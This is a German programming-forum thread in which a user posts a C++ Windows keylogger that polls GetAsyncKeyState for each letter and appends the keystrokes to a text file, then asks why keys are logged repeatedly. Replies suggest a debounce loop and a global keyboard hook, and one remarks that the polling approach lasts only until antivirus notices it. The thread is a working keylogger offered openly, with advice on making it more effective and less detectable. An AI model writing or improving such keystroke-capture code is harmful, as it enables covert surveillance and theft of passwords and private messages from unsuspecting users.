Peinlicher Keylogger Funktioniert nicht



  • Hallo, bin gerade dabei einen Keylogger zu schreiben, habe das Problem das die Funktion GetAsyncKeystate() bei einem Tastendruck bspw: 'a' werden etwa so viele
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa's erkannt ;S
    Das Passiert beim Abspeichern auch beim cout :S

    #include <iostream>
    #include <string>
    #include <windows.h>
    using namespace std;
    int schreiben(char zeichen);
    
    int main()
    {
    	while(1)
    	{
    	if(GetKeyState('A'))
    	{
    		cout<<"a";
    
    	}
    	if(GetAsyncKeyState('B'))
    	{
    		schreiben('b');	
    	}
    	if(GetAsyncKeyState('C'))
    	{
    		schreiben('c');	
    	}
    	if(GetAsyncKeyState('D'))
    	{
    		schreiben('d');	
    	}
    	if(GetAsyncKeyState('E'))
    	{
    		schreiben('e');	
    	}
    	if(GetAsyncKeyState('F'))
    	{
    		schreiben('f');	
    	}
    	if(GetAsyncKeyState('G'))
    
    	{
    		schreiben('g');	
    	}
    	if(GetAsyncKeyState('H'))
    	{
    		schreiben('h');	
    	}
    	if(GetAsyncKeyState('I'))
    	{
    		schreiben('i');	
    	}
    	if(GetAsyncKeyState('J'))
    	{
    		schreiben('j');	
    	}
    	if(GetAsyncKeyState('K'))
    	{
    		schreiben('k');	
    	}
    	if(GetAsyncKeyState('L'))
    	{
    		schreiben('l');	
    	}
    	if(GetAsyncKeyState('M'))
    	{
    		schreiben('m');	
    	}
    	if(GetAsyncKeyState('N'))
    	{
    		schreiben('n');	
    	}
    	if(GetAsyncKeyState('O'))
    	{
    		schreiben('o');	
    	}
    	if(GetAsyncKeyState('P'))
    	{
    		schreiben('p');	
    	}
    	if(GetAsyncKeyState('Q'))
    	{
    		schreiben('q');	
    	}
    	if(GetAsyncKeyState('R'))
    	{
    		schreiben('r');	
    
    	}
    	if(GetAsyncKeyState('S'))
    	{
    	schreiben('s');	
    
    	}
    	if(GetAsyncKeyState('T'))
    	{
    		schreiben('t');	
    
    	}
        if(GetAsyncKeyState('U'))
    	{
    	schreiben('u');	
    
    	}
        if(GetAsyncKeyState('V'))
    	{
    
    	schreiben('v');	
    	}
        if(GetAsyncKeyState('W'))
    	{
    	schreiben('w');	
    	}
        if(GetAsyncKeyState('X'))
    	{
    		schreiben('x');	
    	}
        if(GetAsyncKeyState('Y'))
    	{
    			schreiben('y');	
    	}
    	if(GetAsyncKeyState('Z'))
    	{
    			schreiben('z');	
    	}
    
    }
    }
    int schreiben(char zeichen)
    {
    
    	FILE *datei;
    	if((datei=fopen("datei.txt","a")) != NULL)
    	{
    		fprintf(datei,"%c",zeichen);
    		fclose(datei);
    	}
    	return 0;
    }
    


  • bool bouncing = true;
    
    while(bouncing)
    {
    	bouncing = false;
    
    	if(GetAsyncKeyState('A'))
            bouncing = true;
    }
    

    Besser: Globaler keyboard hook



  • hi

    Ihr verwendet GetAsyncKeyState() falsch !!
    Schaut einfach mal in der msdn nach !

    Und ein globaler keyboardhook ist auch die bessere variante.. Ansonnsten wird es so lange gehen bis dein AV Program was mitbekommt ! Und dan ist schluss mit dem mitlesen! 🙂

    Lowbyte



  • Dieser Thread wurde von Moderator/in rüdiger aus dem Forum ANSI C in das Forum DOS und Win32-Konsole verschoben.

    Im Zweifelsfall bitte auch folgende Hinweise beachten:
    C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?

    Dieses Posting wurde automatisch erzeugt.


Anmelden zum Antworten